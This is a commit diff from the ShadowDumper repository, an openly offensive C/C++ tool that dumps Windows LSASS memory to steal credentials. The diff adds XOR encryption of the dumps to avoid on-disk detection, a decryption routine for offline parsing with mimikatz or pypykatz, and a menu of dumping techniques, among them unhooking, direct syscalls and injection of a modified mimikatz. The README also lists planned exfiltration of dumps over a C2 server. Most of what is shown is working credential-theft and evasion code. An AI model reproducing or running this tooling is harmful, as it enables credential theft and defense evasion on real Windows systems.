mirror of
https://github.com/Offensive-Panda/ShadowDumper
synced 2026-06-06 16:24:33 +00:00
V2.0 Launch
This commit is contained in:
Offensive-Panda
@@ -40,15 +40,28 @@ To run ShadowDumper, execute the compiled binary from the powershell.
|
||||
<img src="ShadowDumper/Assets/display.png" alt="Help" width="600"/>
|
||||
</p>
|
||||
|
||||
**Default Mode (V2.0)**
|
||||
- No Parameter Provided: Show the user friendly console with multiple options to execute
|
||||
<p align="center">
|
||||
<img src="ShadowDumper/Assets/displayv2.png" alt="Help" width="600"/>
|
||||
</p>
|
||||
|
||||
|
||||
**CommandLine Mode (V1.0)**
|
||||
- Parameter: -h: Displays a help menu with all available options.
|
||||
<p align="center">
|
||||
<img src="ShadowDumper/Assets/help.png" alt="Help" width="600"/>
|
||||
</p>
|
||||
|
||||
**CommandLine Mode (V2.0)**
|
||||
- Parameter: -h: Displays a help menu with all available options.
|
||||
<p align="center">
|
||||
<img src="ShadowDumper/Assets/helpv2.png" alt="Help" width="600"/>
|
||||
</p>
|
||||
|
||||
```cpp
|
||||
ShadowDumper.exe
|
||||
- Parameter: 1: To dump lsass memory using unhooking technique to inject modified mimikatz binary.
|
||||
- Parameter: 1: To dump lsass memory using unhooking technique to inject modified mimikatz binary [Token Elevation, SAM Dumping, Vault Credentials, Lsass Hashes Dumping].
|
||||
|
||||
ShadowDumper.exe
|
||||
- Parameter: 2: To dump lsass memory using unhooking technique to inject binary using direct syscalls with MDWD.
|
||||
@@ -57,16 +70,19 @@ To run ShadowDumper, execute the compiled binary from the powershell.
|
||||
- Parameter: 3: To dump lsass memory using simple MiniDumpWriteDump API.
|
||||
|
||||
ShadowDumper.exe
|
||||
- Parameter: 4: To dump lsass memory using MINIDUMP_CALLBACK_INFORMATION callbacks.
|
||||
- Parameter: 4: To dump lsass memory using MINIDUMP_CALLBACK_INFORMATION callbacks and encrypt the dumps before writing on disk as per your choice.
|
||||
|
||||
ShadowDumper.exe
|
||||
- Parameter: 5: To dump lsass memory using process forking technique.
|
||||
- Parameter: 5: To dump lsass memory using process forking technique and encrypt the dumps before writing on disk as per your choice.
|
||||
|
||||
ShadowDumper.exe
|
||||
- Parameter: 6: To dump lsass memory using direct syscalls with MiniDumpWriteDump.
|
||||
|
||||
ShadowDumper.exe
|
||||
- Parameter: 7: To dump lsass memory using direct syscalls (native dump with needed streams for parsing offline)
|
||||
- Parameter: 7: To dump lsass memory using direct syscalls (native dump with needed streams for parsing offline).
|
||||
|
||||
ShadowDumper.exe
|
||||
- Parameter: 8: To decrypt the dump file before offline parsing with tools like (mimikatz or pypykatz).
|
||||
```
|
||||
|
||||
|
||||
@@ -75,12 +91,14 @@ Demonstrates the working of ShadowDumper (V1.0).
|
||||
|
||||
|
||||
|
||||
Demonstrates the working of ShadowDumper (V1.0).
|
||||
|
||||
|
||||
|
||||
## 🔄 Upcoming
|
||||
```cpp
|
||||
- Defense Evasion Techniques: Add more advance defense evasion techniques.
|
||||
|
||||
- OnDisk Detection: Encrypt dump file before writing on the disk.
|
||||
|
||||
- Exfiltrate: Exfiltrate dump file over C2 server.
|
||||
|
||||
- Enhancement: Add more techniques to dump lsass memory.
|
||||
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,14 +1,18 @@
|
||||
{
|
||||
"Version": 1,
|
||||
"WorkspaceRootPath": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\",
|
||||
"WorkspaceRootPath": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\",
|
||||
"Documents": [
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
|
||||
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
|
||||
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
|
||||
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
|
||||
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
|
||||
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\decrypt.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
|
||||
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\decrypt.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
|
||||
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
|
||||
}
|
||||
],
|
||||
"DocumentGroupContainers": [
|
||||
@@ -18,32 +22,45 @@
|
||||
"DocumentGroups": [
|
||||
{
|
||||
"DockedWidth": 200,
|
||||
"SelectedChildIndex": 0,
|
||||
"SelectedChildIndex": 2,
|
||||
"Children": [
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 0,
|
||||
"Title": "unhook.cpp",
|
||||
"DocumentMoniker": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\unhook.cpp",
|
||||
"RelativeDocumentMoniker": "ShadowDumper\\unhook.cpp",
|
||||
"ToolTip": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\unhook.cpp",
|
||||
"RelativeToolTip": "ShadowDumper\\unhook.cpp",
|
||||
"ViewState": "AgIAAFEAAAAAAAAAAAAmwJMAAAAAAAAAAAAAAA==",
|
||||
"DocumentIndex": 1,
|
||||
"Title": "decrypt.cpp",
|
||||
"DocumentMoniker": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\decrypt.cpp",
|
||||
"RelativeDocumentMoniker": "ShadowDumper\\decrypt.cpp",
|
||||
"ToolTip": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\decrypt.cpp",
|
||||
"RelativeToolTip": "ShadowDumper\\decrypt.cpp",
|
||||
"ViewState": "AgIAAEgAAAAAAAAAAAAAADoAAAALAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
|
||||
"WhenOpened": "2024-11-05T08:03:28.253Z",
|
||||
"WhenOpened": "2025-03-02T07:54:09.306Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 1,
|
||||
"Title": "main.cpp",
|
||||
"DocumentMoniker": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\main.cpp",
|
||||
"RelativeDocumentMoniker": "ShadowDumper\\main.cpp",
|
||||
"ToolTip": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\main.cpp",
|
||||
"RelativeToolTip": "ShadowDumper\\main.cpp",
|
||||
"ViewState": "AQIAAAAAAAAAAAAAAAAAAAQAAAAaAAAA",
|
||||
"DocumentIndex": 2,
|
||||
"Title": "unhook.cpp",
|
||||
"DocumentMoniker": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\unhook.cpp",
|
||||
"RelativeDocumentMoniker": "ShadowDumper\\unhook.cpp",
|
||||
"ToolTip": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\unhook.cpp",
|
||||
"RelativeToolTip": "ShadowDumper\\unhook.cpp",
|
||||
"ViewState": "AgIAABIAAAAAAAAAAAAAABIAAAAXAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
|
||||
"WhenOpened": "2024-11-05T07:09:20.508Z"
|
||||
"WhenOpened": "2024-11-05T08:03:28.253Z"
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 0,
|
||||
"Title": "main.cpp",
|
||||
"DocumentMoniker": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\main.cpp",
|
||||
"RelativeDocumentMoniker": "ShadowDumper\\main.cpp",
|
||||
"ToolTip": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\main.cpp",
|
||||
"RelativeToolTip": "ShadowDumper\\main.cpp",
|
||||
"ViewState": "AgIAAL0AAAAAAAAAAAAAACIAAABWAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
|
||||
"WhenOpened": "2024-11-05T07:09:20.508Z",
|
||||
"EditorCaption": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
{
|
||||
"Version": 1,
|
||||
"WorkspaceRootPath": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\",
|
||||
"WorkspaceRootPath": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\",
|
||||
"Documents": [
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
|
||||
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
|
||||
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
|
||||
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
|
||||
},
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
|
||||
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
|
||||
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
|
||||
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
|
||||
}
|
||||
],
|
||||
"DocumentGroupContainers": [
|
||||
@@ -18,32 +18,32 @@
|
||||
"DocumentGroups": [
|
||||
{
|
||||
"DockedWidth": 200,
|
||||
"SelectedChildIndex": 0,
|
||||
"SelectedChildIndex": 1,
|
||||
"Children": [
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 0,
|
||||
"DocumentIndex": 1,
|
||||
"Title": "unhook.cpp",
|
||||
"DocumentMoniker": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\unhook.cpp",
|
||||
"DocumentMoniker": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\unhook.cpp",
|
||||
"RelativeDocumentMoniker": "ShadowDumper\\unhook.cpp",
|
||||
"ToolTip": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\unhook.cpp",
|
||||
"ToolTip": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\unhook.cpp",
|
||||
"RelativeToolTip": "ShadowDumper\\unhook.cpp",
|
||||
"ViewState": "AgIAAAAAAAAAAAAAAAAAAF8AAAAeAAAAAAAAAA==",
|
||||
"ViewState": "AgIAABIAAAAAAAAAAAAAABIAAAAXAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
|
||||
"WhenOpened": "2024-11-05T08:03:28.253Z",
|
||||
"EditorCaption": ""
|
||||
"WhenOpened": "2024-11-05T08:03:28.253Z"
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 1,
|
||||
"DocumentIndex": 0,
|
||||
"Title": "main.cpp",
|
||||
"DocumentMoniker": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\main.cpp",
|
||||
"DocumentMoniker": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\main.cpp",
|
||||
"RelativeDocumentMoniker": "ShadowDumper\\main.cpp",
|
||||
"ToolTip": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\main.cpp",
|
||||
"ToolTip": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\main.cpp",
|
||||
"RelativeToolTip": "ShadowDumper\\main.cpp",
|
||||
"ViewState": "AQIAAAAAAAAAAAAAAAAAAAQAAAAaAAAA",
|
||||
"ViewState": "AgIAACEAAAAAAAAAAAAAAEEAAAA4AAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
|
||||
"WhenOpened": "2024-11-05T07:09:20.508Z"
|
||||
"WhenOpened": "2024-11-05T07:09:20.508Z",
|
||||
"EditorCaption": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 17 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 30 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 31 KiB |
Binary file not shown.
@@ -96,3 +96,16 @@ inline BOOL CALLBACK minidumpCallback(
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
inline void Encrypt(void* DumpBuffer, int BytesRead)
|
||||
{
|
||||
// Cast the void pointer to a BYTE pointer for byte-level manipulation
|
||||
BYTE* buffer = reinterpret_cast<BYTE*>(DumpBuffer);
|
||||
|
||||
for (int i = 0; i < BytesRead; i++) // Corrected to avoid off-by-one error
|
||||
{
|
||||
buffer[i] = buffer[i] ^ 0x9A1C; // First XOR with 0x9A1C
|
||||
buffer[i] = buffer[i] ^ 0x5B9C; // Second XOR with 0x5B9C
|
||||
}
|
||||
printf("Successfully encrypted created dump before writing on disk.\n");
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
#pragma once
|
||||
Binary file not shown.
@@ -50,7 +50,7 @@ END
|
||||
// pan_bin
|
||||
//
|
||||
|
||||
IDR_PAN_BIN1 pan_bin "C:\\Users\\DARKN3T\\Downloads\\d_v1.0\\pan.bin"
|
||||
IDR_PAN_BIN1 pan_bin "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\Resource Shellcodes\\pan.bin"
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
@@ -58,7 +58,7 @@ IDR_PAN_BIN1 pan_bin "C:\\Users\\DARKN3T\\Downloads\\
|
||||
// off_bin
|
||||
//
|
||||
|
||||
IDR_OFF_BIN1 off_bin "C:\\Users\\DARKN3T\\Downloads\\d_v1.0\\off.bin"
|
||||
IDR_OFF_BIN1 off_bin "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\Resource Shellcodes\\off.bin"
|
||||
|
||||
#endif // English (United States) resources
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
@@ -42,13 +42,13 @@
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
@@ -119,6 +119,7 @@
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
@@ -129,6 +130,7 @@
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="callbacksMDWD.cpp" />
|
||||
<ClCompile Include="decrypt.cpp" />
|
||||
<ClCompile Include="forkdump.cpp" />
|
||||
<ClCompile Include="main.cpp">
|
||||
<CompileAs Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Default</CompileAs>
|
||||
|
||||
@@ -39,6 +39,9 @@
|
||||
<ClCompile Include="nativeDS.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h">
|
||||
|
||||
@@ -12,7 +12,7 @@ using namespace std;
|
||||
|
||||
|
||||
|
||||
bool callbacksMDWD()
|
||||
bool callbacksMDWD(bool encrypt = false)
|
||||
{
|
||||
int returnCode;
|
||||
HANDLE dumpFile = NULL;
|
||||
@@ -53,6 +53,16 @@ bool callbacksMDWD()
|
||||
|
||||
printf("Successfully created dump of lsass process.\n");
|
||||
|
||||
if (encrypt) {
|
||||
// Encryption logic here
|
||||
std::cout << "Encrypting the dump data before writing on disk.\n";
|
||||
Encrypt(dBuff, bReadd);
|
||||
}
|
||||
else {
|
||||
std::cout << "Proceeding without encryption..." << std::endl;
|
||||
}
|
||||
|
||||
|
||||
std::string dumpFileName = "C:\\Users\\Public\\callback.elf";
|
||||
|
||||
dumpFile = CreateFileA(dumpFileName.c_str(), GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
#include <Windows.h>
|
||||
#include <tchar.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <stdio.h>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include "sysMDWD.h"
|
||||
#include <search.h>
|
||||
#include <algorithm>
|
||||
|
||||
|
||||
void Decrypt(void* DumpBuffer, int BytesRead)
|
||||
{
|
||||
// Cast the void pointer to a BYTE pointer for byte-level manipulation
|
||||
BYTE* buffer = reinterpret_cast<BYTE*>(DumpBuffer);
|
||||
|
||||
for (int i = 0; i < BytesRead; i++) // Corrected to avoid off-by-one error
|
||||
{
|
||||
buffer[i] = buffer[i] ^ 0x9A1C; // First XOR with 0x9A1C
|
||||
buffer[i] = buffer[i] ^ 0x5B9C; // Second XOR with 0x5B9C
|
||||
}
|
||||
printf("Successfully decrypted lsass memory dump.\n");
|
||||
}
|
||||
|
||||
bool DecryptDumpFile(LPCWSTR inputFilePath, LPCWSTR outputFilePath)
|
||||
{
|
||||
// Open the input file for reading
|
||||
HANDLE hInputFile = CreateFileW(inputFilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hInputFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
std::wcerr << L"Failed to open input file: " << inputFilePath << L" (Error: " << GetLastError() << L")\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
// Get the file size
|
||||
DWORD fileSize = GetFileSize(hInputFile, NULL);
|
||||
if (fileSize == INVALID_FILE_SIZE)
|
||||
{
|
||||
std::wcerr << L"Failed to get file size. (Error: " << GetLastError() << L")\n";
|
||||
CloseHandle(hInputFile);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Allocate memory for the file data
|
||||
BYTE* buffer = new BYTE[fileSize];
|
||||
DWORD bytesRead = 0;
|
||||
|
||||
// Read the file into the buffer
|
||||
if (!ReadFile(hInputFile, buffer, fileSize, &bytesRead, NULL))
|
||||
{
|
||||
std::wcerr << L"Failed to read input file. (Error: " << GetLastError() << L")\n";
|
||||
delete[] buffer;
|
||||
CloseHandle(hInputFile);
|
||||
return false;
|
||||
}
|
||||
CloseHandle(hInputFile);
|
||||
|
||||
// Decrypt the data
|
||||
Decrypt(buffer, bytesRead);
|
||||
|
||||
// Open the output file for writing
|
||||
HANDLE hOutputFile = CreateFileW(outputFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hOutputFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
std::wcerr << L"Failed to create output file: " << outputFilePath << L" (Error: " << GetLastError() << L")\n";
|
||||
delete[] buffer;
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD bytesWritten = 0;
|
||||
|
||||
// Write the decrypted data to the output file
|
||||
if (!WriteFile(hOutputFile, buffer, bytesRead, &bytesWritten, NULL))
|
||||
{
|
||||
std::wcerr << L"Failed to write to output file. (Error: " << GetLastError() << L")\n";
|
||||
delete[] buffer;
|
||||
CloseHandle(hOutputFile);
|
||||
return false;
|
||||
}
|
||||
CloseHandle(hOutputFile);
|
||||
|
||||
// Clean up
|
||||
delete[] buffer;
|
||||
|
||||
std::wcout << L"Decrypted lsass dump file written to: " << outputFilePath << L"\n";
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -73,7 +73,7 @@ BOOL CALLBACK mCallback(
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
bool reflectDump()
|
||||
bool reflectDump(bool enc = false)
|
||||
{
|
||||
int returnCode;
|
||||
HANDLE dumpFile = NULL;
|
||||
@@ -148,6 +148,15 @@ bool reflectDump()
|
||||
|
||||
printf("Successfully created dump of the forked process \n");
|
||||
|
||||
if (enc) {
|
||||
// Encryption logic here
|
||||
std::cout << "Encrypting the dump data before writing on disk.\n";
|
||||
Encrypt(dBuf, bRead);
|
||||
}
|
||||
else {
|
||||
std::cout << "Proceeding without encryption..." << std::endl;
|
||||
}
|
||||
|
||||
std::string dumpFileName = "C:\\Users\\Public\\panda.raw";
|
||||
|
||||
dumpFile = CreateFileA(dumpFileName.c_str(), GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
@@ -1,26 +1,8 @@
|
||||
/*
|
||||
* © 2024 Usman Sikander - Offensive Panda
|
||||
*
|
||||
* This software is provided under the MIT License.
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy of this software
|
||||
* and associated documentation files (the "Software"), to deal in the Software without restriction,
|
||||
* including without limitation the rights to use, copy, modify, merge, publish, distribute,
|
||||
* sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all copies or
|
||||
* substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
|
||||
* BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
|
||||
* DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
*/
|
||||
|
||||
#define _CRT_SECURE_NO_WARNINGS // Suppress security warnings
|
||||
|
||||
#include <iostream>
|
||||
#include <limits>
|
||||
#define NOMINMAX
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <functional>
|
||||
@@ -50,7 +32,7 @@ void DisplayLogo() {
|
||||
SetConsoleColor(MAGENTA);
|
||||
std::cout << "*****************************************************************************" << std::endl;
|
||||
SetConsoleColor(CYAN);
|
||||
std::cout << "* WELCOME TO MULTI-METHOD LSASS DUMPING TOOL (SHADOW DUMPER v1.0) *" << std::endl;
|
||||
std::cout << "* WELCOME TO MULTI-METHOD LSASS DUMPING TOOL (SHADOW DUMPER v2.0) *" << std::endl;
|
||||
SetConsoleColor(YELLOW);
|
||||
std::cout << "* Created by Usman Sikander (a.k.a offensive-panda) *" << std::endl;
|
||||
SetConsoleColor(MAGENTA);
|
||||
@@ -62,20 +44,21 @@ void DisplayMenu() {
|
||||
SetConsoleColor(GREEN);
|
||||
std::cout << "\n*******************************" << std::endl;
|
||||
SetConsoleColor(CYAN);
|
||||
std::cout << "ShadowDumper: A powerful tool created in C/C++ to dump LSASS memory using multiple advanced techniques © Offensive-Panda" << std::endl;
|
||||
std::cout << "ShadowDumper: A powerful tool created in C/C++ to dump LSASS memory using multiple advanced techniques © Offensive-Panda" << std::endl;
|
||||
SetConsoleColor(YELLOW);
|
||||
std::cout << "Note: All Dump files will be stored in C:\\Users\\Public" << std::endl;
|
||||
SetConsoleColor(YELLOW);
|
||||
std::cout << "*******************************" << std::endl;
|
||||
SetConsoleColor(GREEN);
|
||||
std::cout << "\nSelect an option to proceed:" << std::endl;
|
||||
std::cout << "1. To dump lsass memory using unhooking technique to inject modified mimikatz binary." << std::endl;
|
||||
std::cout << "1. To dump lsass memory using unhooking technique to inject modified mimikatz binary [Token Elevation, SAM Dumping, Vault Credentials, Lsass Hashes Dumping]. " << std::endl;
|
||||
std::cout << "2. To dump lsass memory using unhooking technique to inject binary using direct syscalls with MDWD." << std::endl;
|
||||
std::cout << "3. To dump lsass memory using simple MiniDumpWriteDump API." << std::endl;
|
||||
std::cout << "4. To dump lsass memory using MINIDUMP_CALLBACK_INFORMATION callbacks. " << std::endl;
|
||||
std::cout << "5. To dump lsass memory using process forking technique." << std::endl;
|
||||
std::cout << "4. To dump lsass memory using MINIDUMP_CALLBACK_INFORMATION callbacks and encrypt the dumps before writing on disk as per your choice. " << std::endl;
|
||||
std::cout << "5. To dump lsass memory using process forking technique and encrypt the dumps before writing on disk as per your choice." << std::endl;
|
||||
std::cout << "6. To dump lsass memory using direct syscalls with MiniDumpWriteDump." << std::endl;
|
||||
std::cout << "7. To dump lsass memory using direct syscalls (native dump with needed streams for parsing offline)." << std::endl;
|
||||
std::cout << "8. To decrypt the dump file before offline parsing with tools like (mimikatz or pypykatz)." << std::endl;
|
||||
std::cout << "0. Exit" << std::endl;
|
||||
SetConsoleColor(WHITE);
|
||||
}
|
||||
@@ -125,27 +108,65 @@ void ExecuteTask(int option) {
|
||||
}
|
||||
break;
|
||||
case 4:
|
||||
if (callbacksMDWD()) {
|
||||
SetConsoleColor(CYAN);
|
||||
